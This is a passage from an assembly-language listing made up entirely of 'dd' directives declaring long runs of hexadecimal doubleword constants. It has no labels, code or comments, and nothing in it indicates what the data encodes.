0C0B738F8h, 5B79BF3Dh, 0A770054h, 0AB06499Ah dd 0B90E6AA5h, 8068F4D1h, 0EB4FAC79h, 4A0A0028h, 9C3A4EA3h dd 7E01A6E3h, 7F772E91h, 608023CEh, 0F0C7B81Ch, 0A70F4DEEh dd 0CE75499Ch, 7900FF7Ch, 0B8C9B31h, 8E4600EAh, 6F97BF4h dd 0CE70C7ECh, 24023300h, 68398FCBh, 0F3ED004Eh, 58F02B3Eh dd 51077910h, 0FAD9F938h, 5F3D09F0h, 0B8A90044h, 0B601EFBAh dd 0D2019753h, 0A766116Ah, 0A8D01699h, 1967EAFh, 8D3108D6h dd 406D30B4h, 43208B94h, 0CCFE8406h, 0E86FE9h, 83BC9DA6h dd 0DA19F27Ah, 3EF9D300h, 97B5F05Eh, 7E6B1D78h, 8D5600C5h dd 24F48018h, 349DD500h, 0F71F5AB8h, 27C700BDh, 490BEC08h dd 70F9C950h, 9400F43Bh, 1D594A7Eh, 0B067D9h, 0CEF7C3C7h dd 0E7F9A619h, 7A6C1F00h, 5DDC812h, 8A790262h, 0CA32F67Fh dd 0D1CF2840h, 0DF9AA101h, 0FF7EFEEEh, 0EC1ACE30h, 6A8E00C4h dd 894F6669h, 0BA380A75h, 0F700FC04h, 0B2CA0255h, 0A0F2ACh dd 2B2EDAA5h, 39E5090Dh, 7B4A6500h, 8412D849h, 0BC9073Dh dd 0FC1D5540h, 0C800F5A1h, 0CACC10ABh, 0DF194930h, 0D3AF0070h dd 67EE18B2h, 6D027076h, 2B55F9E8h, 0A15FC080h, 0BD194C12h dd 6DDE26h, 4518B59Dh, 9BFEC8E7h, 248B1100h, 0A4E3A76h dd 0DF38013Fh, 0F0993ED2h, 0AA1083F3h, 0A081D152h, 501579h dd 88392EB8h, 10B76447h, 0F6CD8000h, 37AE8157h, 4ED60670h dd 5048E10Bh, 35474307h, 6B70834Bh, 1608C4h, 0CC861F0Dh dd 0AF8252FCh, 0AD00797Ah, 0F1E655AEh, 10B5BD5h, 3E56498Fh dd 800919CAh, 0D1FB9088h, 79C1248h, 5894F76Bh, 7192143h dd 0CCFFE1B9h, 1B008F69h, 0A71210Dh, 1F584F1h, 18E7D9F4h dd 60385C9Bh, 58EC9770h, 467CBC01h, 0C7ED13A0h, 5ACC0h dd 1B89E751h, 0FB691F6Dh, 0AAD4291Eh, 771C80BBh, 6F265106h dd 0D1BA1743h, 205F108Ah, 6BEACEA0h, 0DF0F9B42h, 0A48FEE8Ch dd 1E690220h, 0F360C0C7h, 0F82B7C30h, 1C45030Dh, 0A50BE2F2h dd 59014904h, 9C07234Fh, 723440F9h, 0AD00D65Dh, 495405C2h dd 1C7120h, 0CC8C53Bh, 3EEE75B9h, 2D745C06h, 85FBBh, 3DBF7913h dd 504E51D2h, 54E12F00h, 3848DFEAh, 0C0494C97h, 9CC3C860h dd 30C25F62h, 0AF3324E4h, 7DC820A4h, 75AC13h, 0C3F8940Ch dd 0C7DF6903h, 50F29EFAh, 20122F2h, 2A01E43Bh, 0B9801338h dd 63E5F6EEh, 950220C2h, 9E2FC949h, 5380B0B7h, 0E4B01DF7h dd 8740233Dh, 94CDCF2h, 2912F52Dh, 8CE47E80h, 37F23436h dd 5C693000h, 0E9DF42FFh, 8BFE0077h, 9CA17453h, 0D900914Ch dd 4DD3EAF3h, 19F0AC5Eh, 0E0C2D1C8h, 430D2033h, 0C500CEB0h dd 0F00187DBh, 55D3F90h, 380A6EDCh, 95E60586h, 2B202CD4h dd 8055B821h, 70D95898h, 0B37C207Eh, 816EE11Ch, 0F917485h dd 1BC6CC40h, 388ED796h, 0B40F24D3h, 0AB827580h, 0DC806A59h dd 25641542h, 0F49B0F00h, 7F236EE4h, 44C84897h, 0D67C840h dd 4FF1E344h, 6957E030h, 3A0CEE00h, 0EBDAABB5h, 215F061Eh dd 7916DFA4h, 0DBC1980Fh, 0E06F20F2h, 53DA61h, 56F3E1DCh dd 12EB5E77h, 0A44D7300h, 88858074h, 0C22D0E3Ch, 0BC407191h dd 0D2EFAC07h, 0D94D0104h, 38904606h, 0FAF65BDh, 1C6FA7D5h dd 61405B67h, 0FCEC9F19h, 101DBCBh, 0ADD46612h, 0EBD44D75h dd 50310090h, 0F84C8B4h, 0CB3E0B89h, 4E00F70Eh, 0BF58C1F5h dd 984DBE34h, 89440097h, 1569EAFEh, 0D1C010BBh, 0CAD9049h dd 0F6D600F4h, 37118B25h, 0A0E39DBh, 0C0D0EE56h, 0B44BFED8h dd 1594A818h, 64DF00A9h, 0DEAF594Fh, 9A3A715Ch, 900106CAh dd 286BC6h, 29325FAEh, 884B833h, 410E8090h, 0C0FBD7B2h dd 0FAF398A2h, 91794CC2h, 1EF74800h, 0B6160B0Dh, 0EC5EF800h dd 0B20FEB55h, 84A73CD2h, 2D8FF183h, 6EC0ABB3h, 1E39D607h dd 1FCB3831h, 42BC476h, 8A4E05FEh, 0C0BCC8F6h, 1F63D04Dh dd 0AF781E00h, 0B5FCB891h, 30996E64h, 5B3D9C0h, 27E0C4C7h dd 743BE0EDh, 0FFA681A0h, 14345AF9h, 0E010B211h, 609CFED2h dd 0A9CA0905h, 0E09FD70Fh, 254868h, 29F372B5h, 0FABA21ACh dd 61FB43Eh, 0EC19F517h, 49613B18h, 9C9881C4h, 83FD31C2h dd 92E122FBh, 27F50C81h, 893011F4h, 4B7ED908h, 3AE15A89h dd 4018AD12h, 51C04428h, 19C2AB90h, 25C732F2h, 0C11842A5h dd 0CA2EFE2Fh, 85080C4Ah, 98894234h, 3B6A248Fh, 0D01D100Ch dd 399FE124h, 78A83108h, 0CA0353Eh, 18A05F05h, 54A13155h dd 92185069h, 55895D93h, 42D5904Ch, 8AB92197h, 150C8CB8h dd 0E53EC00Dh, 0C442180Eh, 25EC28E0h, 0F405E17Ch, 8261513Ah dd 77D00C1Dh, 16E69C07h, 7F3B0D3h, 0A5002112h, 60A98BE2h dd 0D768D4h, 979EF910h, 0EDE44DF2h, 1E378403h, 8713F593h dd 2B7F2C90h, 0EC170020h, 4EAF286h, 0A40095EBh, 0FCE58EC8h dd 388A7403h, 0A184F453h, 0EE23F63h, 0BE10A0CDh, 74DB0BA7h dd 5CF7031Fh, 0C622B067h, 2961B900h, 950B9AFCh, 0D4A0CE0Ah dd 8844DD06h, 3BB00F00h, 0D1D76699h, 0B5711C41h, 0C8FB585Dh dd 0AA1459A9h, 0A81C05B9h, 887401FCh, 8C3603A8h, 10B18057h dd 0AFAACC6h, 54600AFh, 12F2C08Dh, 8C7B0DD1h, 1F0EF70Ah dd 41808CE9h, 61712748h, 36A50006h, 991EB97Bh, 0E30095AAh dd 0C23A227Fh, 0A08BF4FBh, 608504B3h, 711BA0BCh, 681518B0h dd 1141A74h, 0DC585D1h, 3450DDB1h, 2DB4ECh, 0C28F6BADh dd 0F5C08011h, 485AFF1Fh, 3880049Fh, 2120A7C9h, 678E0033h dd 1F4A5929h, 0CD1CA69Eh, 8A406A96h, 37CE840Ch, 271700A2h dd 0A5056D1Dh, 6473F989h, 8012F13Dh, 4D33738Dh, 242A9FAh dd 592ABE50h, 0F8E0EC91h, 3C00B6C9h, 25261A31h, 3EA5F36Dh dd 7C808804h, 96681983h, 29296653h, 15604018h, 44DF3h dd 0D07667CFh, 0F24519BEh, 2ECD600h, 0CA5E57D4h, 921302B8h dd 4ADD2BFh, 0E46AC080h, 88DE5ABEh, 0A5024906h, 0E24807F0h dd 0C0ED7D16h, 8BE3E422h, 7C3C9C3Ah, 54190A60h, 6305C09h dd 0E9A2C3B5h, 1C30F86Ah, 540408E6h, 48C5F8A6h, 0D400683Fh dd 550C10DBh, 8217FCB7h, 2C01DC7Eh, 1177B293h, 0DBAA90E3h dd 0CEBE00B3h, 8D670814h, 9F3B8B7Fh, 5D059F42h, 0C3DD210Fh dd 1E7DEF91h, 0C3AEDA18h, 0B5B43C2Bh, 0AFD0CAC3h, 5EB8A1A5h dd 0CDC6A317h dd 29214A00h, 1B66CFDh, 0FC8F4344h, 0F078CA60h, 560091E9h dd 0B29F7ECCh, 6997C4Ah, 26D21894h, 220A0BFh, 3AAF18F2h dd 742B40CDh, 0B5557500h, 654C1C50h, 0AD421F21h, 0AB5BC03Dh dd 0E76D08C3h, 0E908F63h, 2355C0BDh, 28317472h, 18C07093h dd 780FCF91h, 7132244h, 61B8C873h, 93DB8703h, 4006664Ah dd 8ADF3696h, 4CD200A0h, 8B2F949Ah, 7B71FC01h, 88C28100h dd 21877D47h, 3DB8EE3Fh, 0A01D5D63h, 583384A9h, 0B2811C5Bh dd 0F901D79h, 0C9DBBE4h, 0BDB53E96h, 896082E8h, 7EAAD0B1h dd 30D35719h, 37C0087Ch, 0BEC26095h, 9D250044h, 0CA0065EFh dd 1035268Bh, 5AB303E9h, 0F3BB8F6h, 0E0C9B862h, 0DB575191h dd 0BA6A032Dh, 10FC73Ah, 0C66D30DFh, 900881Dh, 0A6EB3033h dd 190411FAh, 708E7690h, 3F4BC067h, 73DD0100h, 51DE2AB0h dd 7A9012FDh, 6118070Eh, 80C5A417h, 0EA356D08h, 971C4E01h dd 0AA1643F6h, 0B18CA040h, 74E72059h, 333E0700h, 32526024h dd 0E80800F7h, 0C5A8D68h, 0FD00428Eh, 0A57B1B3h, 0E8CA90C0h dd 0A3482895h, 0F944A088h, 276A308Fh, 5F7B9CA0h, 16F9E660h dd 0FA3C7431h, 4350918Ch, 0F1D72551h, 0F241F83Ah, 4E944880h dd 9000B126h, 428D9B23h, 98964Dh, 3513978Eh, 0D392E06Dh dd 7E121E00h, 0DD2285BDh, 37800C4h, 5B966350h, 0D70AC516h dd 849F884Ch, 2DCB189Ch, 3A71005Ah, 0CF79715h, 42FBB14Ah dd 0EE1896C8h, 0A23087A4h, 0B1B36231h, 2209BECh, 60550E68h dd 3BAEE8A3h, 0C5286595h, 7BFEEC82h, 0F8E8F430h, 1DFC62Dh dd 6BFF5C77h, 308B0FBCh, 8921E55h, 0A0CC54Ch, 847A5B07h dd 329C2000h, 310441EBh, 7431BF23h, 0F6518EFCh, 78C96C64h dd 6A8577A6h, 1034A15Ah, 9A70807Ah, 0F2A171EEh, 528F37B6h dd 8E2B40D1h, 3D0781DCh, 0B8D62FB2h, 3CF7414Ch, 1C3730FAh dd 3F828179h, 48BEDDB5h, 8CCC08h, 0CA319A90h, 2113B395h dd 0C0C67C2Ch, 7B65A403h, 48D0BC17h, 15974ABh, 3A82764Bh dd 30A37EF4h, 2E008906h, 12C2F879h, 14AEBC7Ch, 0D81B9840h dd 81048B8Ah, 0BC86F973h, 0F018355Bh, 0A614BF58h, 3AA033AEh dd 0CCC613A3h, 0C2B16800h, 0C5843906h, 8245A681h, 0CC40A0B4h dd 0FA14BE95h, 0E89CE4h, 1A7DFC2h, 22283Eh, 20E55DB9h dd 0B13D7440h, 20FE9224h, 0B881CD50h, 21C880A9h, 0CAE80A1h dd 0F8207474h, 0C15A0266h, 94AF076Fh, 0A79EFD60h, 38FCE63Bh dd 513E06B4h, 1D805B3h, 0AFA28D01h, 40556A08h, 0DF498028h dd 0F2BE3F00h, 84C30BAh, 10406028h, 4F98130Eh, 35958202h dd 90E80BD0h, 6E40BD30h, 0F0D4B0ADh, 6FFF5A80h, 0CB0011C9h dd 4C254B0Ah, 0F31636h, 5BFB04B4h, 7E76823Ch, 48DBCA4h dd 32F2DC80h, 90856C62h, 0F0290A7Ch, 0E387650h, 0EB8169BFh dd 0E8C83F2Ah, 0F9F7E13Eh, 0D47031E6h, 1A1FA0DEh, 530765F3h dd 6030414Ah, 0A8E6339h, 768A6E21h, 3F3740F4h, 9E008791h dd 0CC0712C8h, 0DC62B8h, 0F09AB10Bh, 0D47FF37Eh, 742011C4h dd 0C476A300h, 1A06A5C1h, 4CF3645h, 4DE50CC0h, 84A8B659h dd 0FE9A0C00h, 81D28005h, 3372005Ch, 31914068h, 31D3FADh dd 0B0D49429h, 610D016Ch, 8F9C1958h, 0BD40900Ch, 224501CAh dd 0FC3A0CD7h, 69BE13h, 24900A6Ch, 5097E45Bh, 3AF89818h dd 0CB2A918Fh, 5D1A21A0h, 20EC78Bh, 0A5C9AFD9h, 0A040D534h dd 0A7319E30h, 0DC7300ABh, 77A8842Ah, 0BE181893h, 487858B6h dd 91DD15E0h, 0EA39DCDBh, 4DD3AF80h, 0ACD98E77h, 13A3963Ah dd 0B007F061h, 4713BCE1h, 0F385F1FCh, 59FF860h, 25A760BBh dd 2EF424A4h, 912F1088h, 0CBD758C0h, 6F143F48h, 7148D659h dd 249EB004h, 8C37C510h, 0E8248C21h, 620780B0h, 0B7B05E0Dh dd 0F63B557Ah, 0D72707CDh, 0E09E9780h, 83703062h, 1E11CF00h dd 7CAF959Fh, 0CED49CDh, 0AD5CA40Dh, 8162F890h, 3364C909h dd 0F7580106h, 18D1C7E8h, 51C82180h, 4E5C655h, 0A9ABE24h dd 0D5002828h, 76810F38h, 50BB2FF4h, 3F1588A6h, 1880568Eh dd 77C2CACBh, 0AD3BD766h, 2BAC010Bh, 85CE12F4h, 1017D084h dd 4F24D0C4h, 3F00C20Fh, 0A04F298h, 0F56D83Ah, 2F57825h dd 94439A94h, 69AE6D01h, 0C9D0824h, 0EDAB883Dh, 840A4800h dd 2F12023Eh, 0CA5800FBh, 240BD771h, 0AC094AD2h, 1D3EE2C2h dd 0E0E21568h, 30B17780h, 0D4007A76h, 1281A99h, 536ECD13h dd 8726AC4Fh, 0B63105EAh, 0A9AC32C8h, 704ED62Ch, 0A004706Eh dd 0CA6BA3h, 49F8CFE6h, 0CC87B0CBh, 36B5A009h, 580AFFC9h dd 9921768Ch, 0D7CA80BDh, 0B3A6F518h, 9078D203h, 1007A4h dd 630AF88h, 0E7EF8C3Ch, 9D2A317Dh, 6607CC34h, 0A50BB69Eh dd 88C913D3h, 0C3BB99h, 0C8A09458h, 246F6E22h, 3F0A1098h dd 80576DCCh, 15C97A60h, 30AE465Eh, 869D7906h, 77E61F55h dd 3A7A0091h, 0BE8531A1h, 38F8010Ah, 9CA6AC98h, 809F8708h dd 0C9FE1B22h, 0DF0035CDh, 0E0783CBFh, 1E457034h, 40DBD5CAh dd 278EAA36h, 20035415h, 104D241Ah, 7331A9A7h, 0C3C865ECh dd 0D1B0B251h, 0FB7FB100h, 1AA47B4Fh, 0EB531F87h, 2905090Eh dd 211FE497h, 29C8E61h, 0F379DC60h, 380044F8h, 0EB56B06Ch dd 42587Eh, 57E85B31h, 39A1FCBFh, 0F3606D01h, 8E11F883h dd 28AAE7E8h, 4680218Ah, 1B290142h, 0EFF5C9E5h, 0ECB2AE0Ch dd 5286DC00h, 0C302B182h, 4B861h, 0E02D6E59h, 0E2BD218Dh dd 0D21CA202h, 4D0BB04Eh, 453C6358h, 42647198h, 78001AEAh dd 0A4DB7513h, 5C60D7h, 56D63A2Eh, 0D0307CB0h, 0BC841258h dd 7D748CD5h, 0B780874h, 0E001344Ah, 6C9C63DFh, 5261C0CEh dd 0E39D00CEh, 39C44EB9h, 0D81D3EB2h, 0D6895085h, 0A044A4Ah dd 215C98E0h, 1980903Ah, 4143EEAAh, 0E9D112F5h, 0AB1C041Fh dd 89CC2188h, 3B158862h, 6C183063h, 0C917E031h, 0C16000B1h dd 9041BC0h, 5FF4261Dh, 78BDEC29h, 0A84A9D00h, 8C5C01h dd 0E529175Ah, 7CEAF5B3h, 8827C226h, 3C80AC9Fh, 0D773686Ah dd 0F0174879h, 0B2F57780h, 0A07EA215h, 375C2900h, 3DF4A4CDh dd 0D0260144h, 21D40A62h, 4B1821C1h, 0F91A82F0h, 0EC97108Ah dd 78ABCD01h, 7BFD2419h, 2A76C20h, 6A06D71h, 0F84D9580h dd 427E6261h, 1D00F908h, 0A6F35A22h, 1F89D109h, 0EA677FEFh dd 0FE67180h, 0A81C69CCh, 0B529F223h, 0C7B7709Fh, 2E016FECh dd 26FC46ADh, 5828FABFh, 1AD59602h, 0FCC8BD44h, 0F100B434h dd 8DB23C9Ch, 7F18A947h, 0FC4E376Fh, 35CBC0F1h, 0C31CCA37h dd 0DB80F133h, 0FA890221h, 0A1BF062h, 44012C6Fh, 18774070h dd 6526C7D3h, 965868EEh, 1B7E1Eh, 9AA0A101h, 647F2BA5h dd 0C9E88E58h, 2890DC87h, 0FCCB488Bh, 1229C2C2h, 10E98F81h dd 6203F17Dh, 33D0F2A4h, 0E78C8E8h, 9802FB77h, 5B9B84A8h dd 56B44051h, 5FAF0B2Ah, 8497130Bh, 60BD9988h, 0ABAA41D3h dd 5FD94600h, 0FC287BBFh, 0DBB000C8h, 0A5ED0CB3h, 14FEA956h dd 0BC5CE05Ch, 4F078CFBh, 0A02493D1h, 8EBA3820h, 456B39B5h dd 0C13ED583h, 315891E9h, 5850108Ch, 0E0CBE5C0h, 62ED6633h dd 7C4CC060h, 2EC051C9h, 2E61486h, 55E4B34Bh, 0D673007Ah dd 96895800h, 869544CAh, 0B3040B8Dh, 18A12C28h, 8AA85EFh dd 83C90A58h, 5068DE5Fh, 55074F37h, 8E6C98DBh, 88076610h dd 64E81342h, 8DDB0195h, 60CE84C0h, 0D3025746h, 9DD87EFBh dd 96DE6073h, 38A80179h dd 0AE49527Ch, 4235Bh, 0F44DAF59h, 94DC3666h, 0B9CFE13Ch dd 0B4B8D44Ah, 857CDE00h, 41FC4B3h, 0B1E11F90h, 0E578436Dh dd 0EE9F3F46h, 5DE345E0h, 40C184E9h, 6F9B1987h, 48F7AADBh dd 2CE862B0h, 805C7ED9h, 0F07A02C8h, 0C4A18005h, 648C58F3h dd 3127C90Eh, 0A3B0D0FEh, 0CF004E3Ch, 0B52C512Ah, 666D1Ah dd 0CCCEBA13h, 0B8D6A05Eh, 331D0872h, 89E5BF88h, 4F0847A4h dd 80B08B2Fh, 0BDAB0C94h, 0F0090177h, 0DD24278Ch, 0DE1C70FEh dd 9331D300h, 9C1D73C7h, 0CC8F48CDh, 0B7969F3Ch, 544C202Ah dd 0EE00D608h, 8C239B82h, 0CEBF81h, 0B3ADECD4h, 7293C131h dd 0E6F99E01h, 1124A642h, 4E3030h, 6DC0987Dh, 14FA108Eh dd 33633E00h, 274F41ACh, 0CAAD00F2h, 0FF71A06Fh, 0F1F8D42h dd 0A4003102h, 36DC9346h, 5DF500BDh, 8E5A21D7h, 61904DB9h dd 88A27F00h, 7938AD70h, 0B3C100B1h, 0E1738FEBh, 0E000B233h dd 0D024FFBAh, 0FAA1964Dh, 99F70054h, 18952BCCh, 0CD00A78Eh dd 557CEC26h, 3CF2978h, 44D8943Fh, 70074ADEh, 8217FF87h dd 0D4805317h, 134805h, 20068624h, 1F63EE3Eh, 408C5228h dd 89352B00h, 5CE34C05h, 7EFD00A6h, 79DDF826h, 0A40F6006h dd 4FA124F3h, 49D581BDh, 4820E78Ah, 3C163EB2h, 6C30A500h dd 0AF83BBA9h, 588FE430h, 0A00145ABh, 29B7D8Ch, 0B5EA3B2Dh dd 43C01C2Ah, 97397C73h, 0ED50808Dh, 354E9B31h, 99965045h dd 0D49054D8h, 0BC5700A3h, 0E7192679h, 0ED1C2EFAh, 544355EEh dd 0C04983C0h, 1C6BC3E3h, 80137C26h, 1C7325CFh, 0E258A417h dd 3E46005Ah, 0D09F86B6h, 0BACE13C0h, 0A8320074h, 55CF8003h dd 7130A900h, 0BE296138h, 51B63E21h, 0AE01EC00h, 0C81AF24Ah dd 5400F0F0h, 76DA70EFh, 601DD41Bh, 42A51052h, 230CE12Bh dd 4929F4EEh, 7BA7017Eh, 0F3DEF7Dh, 8F205085h, 8AF6F188h dd 0DE18BC54h, 34194729h, 0D5A35831h, 30004308h, 8A9E3EFFh dd 282AAF7Eh, 86B9829Bh, 3160C150h, 50BBFCCCh, 710E9E1Ch dd 0A33A517Fh, 0A96F0A72h, 0CBC13866h, 0FE188588h, 0BB010A71h dd 51961C4Eh, 685C3E2Fh, 7BDA2941h, 145E1538h, 0E3036098h dd 0BE0068A6h, 6EBADD63h, 0AB5CFB9h, 7E98312Eh, 7181789Ch dd 1E41C784h, 68237827h, 524DD01h, 28801DD2h, 8382947Eh dd 98AEE3CFh, 2AE58702h, 18ED353Dh, 3B1595DEh, 9844EEB6h dd 317DF558h, 0AA30EB9Dh, 0E4CC402Eh, 0CF095214h, 85BB0B50h dd 9800736Fh, 0CD0982ACh, 0F7371D34h, 5CEA004Dh, 0E13CAEAAh dd 8755C0E7h, 147AE312h, 27EF8900h, 1CC5ADB8h, 0E4EC4144h dd 0C00139B7h, 938D0998h, 48244836h, 52CEFA04h, 1C305385h dd 4300E076h, 414A308Ch, 0E84954CCh, 0C939000Ch, 77762DBAh dd 0E076C44h, 516D0BADh, 50303205h, 0A4889381h, 0EBBC022Ch dd 0E72C4145h, 5C4244BAh, 0C3E9181Bh, 0C8C8984Bh, 71C2CD0h dd 0E36C43E6h, 4DACC332h, 18635078h, 0E8EC08h, 402FCC30h dd 42BBCDB8h, 7568EDE8h, 0A8EC3CB0h, 0A40A57A1h, 0BD0BFC01h dd 8C2F6D31h, 80BB0C58h, 78AB614Ch, 9538618Ch, 37B03A18h dd 0B0CA6026h, 87CDC973h, 767A9C18h, 0D52C4319h, 0D888EAB1h dd 0EC0EAC0Ch, 0ADBAA040h, 0A631BC8Ch, 8E197E58h, 0D33EA4F4h dd 0DC752843h, 98C84C52h, 84C07E88h, 79DCDF40h, 0DB80120h dd 0C01FFF03h, 5E44B43h, 54F63B61h, 7F7C1C41h, 784B411Dh dd 0FFDDE60Ah, 0C41C4518h, 4BFC38B1h, 1BA0CC3Dh, 9810E807h dd 0E4E916AFh, 9C920CBBh, 0A8D0D766h, 0ADF73902h, 0B84AD130h dd 188A9624h, 380A672Bh, 53242D3Ch, 4B5878B8h, 0D6111F52h dd 0DC92C20Bh, 0E0833C39h, 4DCA864Ah, 922E9C94h, 9183299h dd 40FF7C58h, 18A59F84h, 156C9E83h, 1C8905C3h, 2CB83E3Dh dd 0EC0D70E4h, 2828D1F6h, 575B48F8h, 9900280Ch, 6AF6DF1h dd 0FFF292B9h, 80C5F26h, 18B42B58h, 504CD7BCh, 5E1DACFCh dd 3071AD0Ch, 845CE6EDh, 3969F8B4h, 0B450AEB7h, 92B126Dh dd 8B9002Dh, 0B995EEDh, 0B57467F0h, 2F0638AEh, 42E1A81h dd 0C33C3098h, 57D26D40h, 0B64170C4h, 29420CC3h, 4FD82D08h dd 239CA000h, 0C4A0BAC1h, 857B484h, 88570214h, 0A2389491h dd 40792DC0h, 57144BE8h, 110218B5h, 17BAF870h, 0E20F1C00h dd 0DED30B7h, 5AB44D08h, 7B01A0A7h, 16FD2A11h, 0E1E4BC00h dd 228DB705h, 1870B875h, 2A3FFB8Ah, 14CC03B1h, 0F4B511FEh dd 1B2BD0B7h, 0FC8137C3h, 0E280B022h, 0FDAEC56h, 0D8DF1F00h dd 0E904ED59h, 184001Ah, 439DDD29h, 51012A89h, 0F85AE6A9h dd 0CF0BD5h, 83AC7830h, 23864901h, 45147E54h, 0DCDF4E07h dd 1841222Eh, 5894492Fh, 0D7C01482h, 2BAE67ABh, 2BEFB880h dd 812804A5h, 0D71C451Eh, 0C058020Dh, 310907BDh, 6158F2F7h dd 41C9D0A4h, 6403B8DDh, 0CF6958FBh, 478982EEh, 83289067h dd 60CF7D9Eh, 88F8C8FCh, 893104A8h, 0CB298037h, 4AE9408Eh dd 0E149071Dh, 2B09811Dh, 4C88589Eh, 767A2718h, 293998C1h dd 609C55F6h, 0AD1ACC01h, 338EB40h, 49552CC9h, 70A521E5h dd 8092C650h, 1EA6FF14h, 7A9700CCh, 65082890h, 39FC296Ch dd 0B2158318h, 0D1015583h, 970F6C78h, 184BF948h, 0A475C107h dd 18601C99h, 30870131h, 28D0867Dh, 44E2B67h, 66B8164h dd 85A4F469h, 0C6FFB838h, 5F9B038h, 62D4A17Dh, 0DD80021h dd 4F09552Dh, 2784AE9h, 5B085613h, 1DC8A1ECh, 87E597EDh dd 4368A0E7h, 39A8F0E8h, 3B7C7E90h, 31783E0Fh, 48283CC5h dd 0B1088F46h, 5C688A34h, 8198D7C0h, 0D99C41A7h, 4850801Ah dd 888DB10Dh, 18AD746Ch, 68DA8128h, 8C8DE3Dh, 0D4C81D46h dd 8D018CDDh, 7A690765h, 5288904Ch, 0DC2C800h, 59A7495Bh dd 843009E8h, 721B837h, 0C319F879h, 0B4E9E810h, 4116780Fh dd 6E500690h, 96733B8h, 83DC0F20h, 5878D05Ch, 5527A212h dd 12119C2Ch, 457F5BFBh, 461738C4h, 0A8B6A898h, 5A007374h dd 8DB07C89h, 0C0994CC8h, 439C42E8h, 5606E949h, 7180A891h dd 988957E0h, 8F2CC702h, 0D802A577h, 0E7880315h, 0BE686809h dd 78480281h, 0CB8C412Dh, 4A0812C7h, 979C04F8h, 612083A9h dd 3F28F813h, 4E93001Ch, 876183Ch, 1F19E4B8h, 700E780Ch dd 63560328h, 5266A892h, 0ACA08A0h, 0AF695B02h, 0B0489498h dd 12739224h, 66FD2F8h, 0B0FB183Ch, 0E4DCC828h, 58E58831h dd 30109268h, 0E9185AA3h, 1370DCFDh, 7DFCA1DFh, 0B7687089h dd 4A484000h, 0C837910Eh, 0F88FF8BFh, 83BD8808h, 20820DE1h dd 0C348C508h, 7E9C1888h, 80816618h, 947486E9h, 28823A20h dd 24C8A030h, 193C8458h, 8CE4114Fh, 187E6808h, 3B7933E8h dd 87C7F40h, 8818A161h, 0D08AB4F3h, 0DF08505h, 86583C2Fh dd 9F4DE841h, 388B6218h, 0C48E0EA8h, 86E9686h, 0B51861DFh dd 48702810h, 0DA300CAAh, 0E13AC908h, 0BCF44890h, 0C615878h dd 0BB5FA810h, 315DEE0h, 8C9E5002h, 0C1C0FD98h, 46F0FF9Ah dd 5E1E9B74h, 3E03B6CDh, 0A3FDD241h, 4D07F46Ah, 6EDEC2F2h dd 0A133800Eh, 63C47EFDh, 0B839209Fh, 4CDF7B83h, 0AC70D510h dd 0AFFA3B1Eh, 0B4E37E06h, 8526218h, 1E016DFEh, 2080BDCCh dd 5EFDD103h, 0BEF88638h, 887ED31h, 6887266Ch, 13FE6B85h dd 28188988h, 7C08E036h, 1DBEF0DBh, 8E06B1E3h, 0FB03EAB9h dd 9000C2D9h, 1B0544DEh, 1D51AEFEh, 3388197Eh, 7BE31648h dd 0A3C21CEh, 593B0C4Dh dd 0C0081021h, 7BDF5B20h, 0D13E9B06h, 0ADFB1B17h, 0F5FE210h dd 787F63C6h, 9B70DA03h, 14B6FF7Eh, 0A0FDCE28h, 0FC03AC00h dd 0FEECD45Eh, 0E3CDBE8h, 4E35189Ah, 0E03AE940h, 0A9C91D1Bh dd 6EBF0001h, 48AE1E9Bh, 0F281AA00h, 14AC7187h, 0CB780EF7h dd 0BB039FF4h, 9B80E437h, 60C754Ah, 4856351Bh, 5B08C305h dd 20005737h, 781A74AAh, 2ED51EB1h, 0CC080F4h, 8E196BB8h dd 3C193B3Ah, 7D840B7h, 0E3F76D7Fh, 0A81881B9h, 0A20890EEh dd 85C3801h, 8C8F176Ch, 867B728h, 33800057h, 3F1DB4D5h dd 0F83C9818h, 0D4340436h, 37C629CEh, 392A0321h, 42BF74D7h dd 865634A1h, 0E5761410h, 804CFC08h, 0B4F87077h, 63391720h dd 1AD4505Dh, 8794183Fh, 4A581813h, 7C29303Ch, 0FDD4195Ch dd 9B0817h, 0C69130F4h, 8848F10h, 0C15F33Eh, 900B6754h dd 6088662Bh, 0A40621F9h, 2D581E08h, 18F81E08h, 36B80703h dd 7D8C006h, 581F29C3h, 38066A8Fh, 31186718h, 8E100D1Ch dd 9D78F010h, 4EFE597Ch, 0D81A7C00h, 0B76C58C5h, 836338DAh dd 9F576900h, 52E1A978h, 0CAC10A01h, 1AF8D818h, 0A4DD9085h dd 301C7314h, 5989D0A7h, 0AA7F52D4h, 78006A90h, 0D76CA905h dd 141ABA15h, 0DC9D91F8h, 0D4BE2414h, 0CA928F00h, 0C0D58173h dd 9B001CF4h, 85B1FE97h, 7E020BB8h, 146B50C8h, 207DF03Ah dd 9E012528h, 0ABBFB62Fh, 8BD1B92Eh, 0E8BE5B20h, 30B37C52h dd 5A21694Bh, 2B0F80D0h, 4B8BB82h, 3780E052h, 0F8BFB403h dd 0EB18C01Ch, 7264A575h, 8C10BE6Fh, 636119EDh, 0EAAA08E7h dd 0D9AB1801h, 8E526BADh, 61A18BD0h, 0F47E7870h, 2F24FC81h dd 89D3F1E9h, 80492B08h, 9D22CB1Bh, 7F320364h, 4B0BBFEEh dd 95081102h, 20D0ED48h, 0F27ECC14h, 0AB385261h, 92E0B3A1h dd 6B0F2CAFh, 7D3C385Dh, 0DEFFB1Fh, 0D3203932h, 0D264A2B0h dd 6FFD0B20h, 590C1867h, 181E8B70h, 0F60E7F86h, 37528384h dd 0A472C091h, 127D010Ch, 0D26B10DBh, 3008BC3Fh, 76B21851h dd 0C938CC87h, 5F1F9210h, 0DA197EABh, 0FEB3218h, 8AE5F258h dd 83530C1Fh, 9140F618h, 7329C8D1h, 0A88B4D8Ch, 5218CB74h dd 0B206E5DCh, 61087A82h, 5712202Fh, 4DCDC44Fh, 7F498324h dd 1DBCD614h, 0B0EE1D4h, 37C0B4FAh, 38508E5h, 20D5CC4Ch dd 25B91EABh, 10D618B3h, 20C3424Bh, 0C0EC7B2Bh, 782012EBh dd 86961B3h, 0E322E0ABh, 4026A3E1h, 8015F9D8h, 10534B37h dd 31240C43h, 54212B08h, 0C1FC4323h, 0E00328CEh, 7B0BB328h dd 7808761Fh, 0B68B0124h, 0F3D27D81h, 3A72D050h, 82107665h dd 7E2D3BC0h, 28CDE899h, 30C4BD6Ch, 62087423h, 0D48498Ah dd 780FA084h, 809EF438h, 0C55259BEh, 0A5E0310h, 0F3F75F17h dd 0F085BD97h, 0C1C28807h, 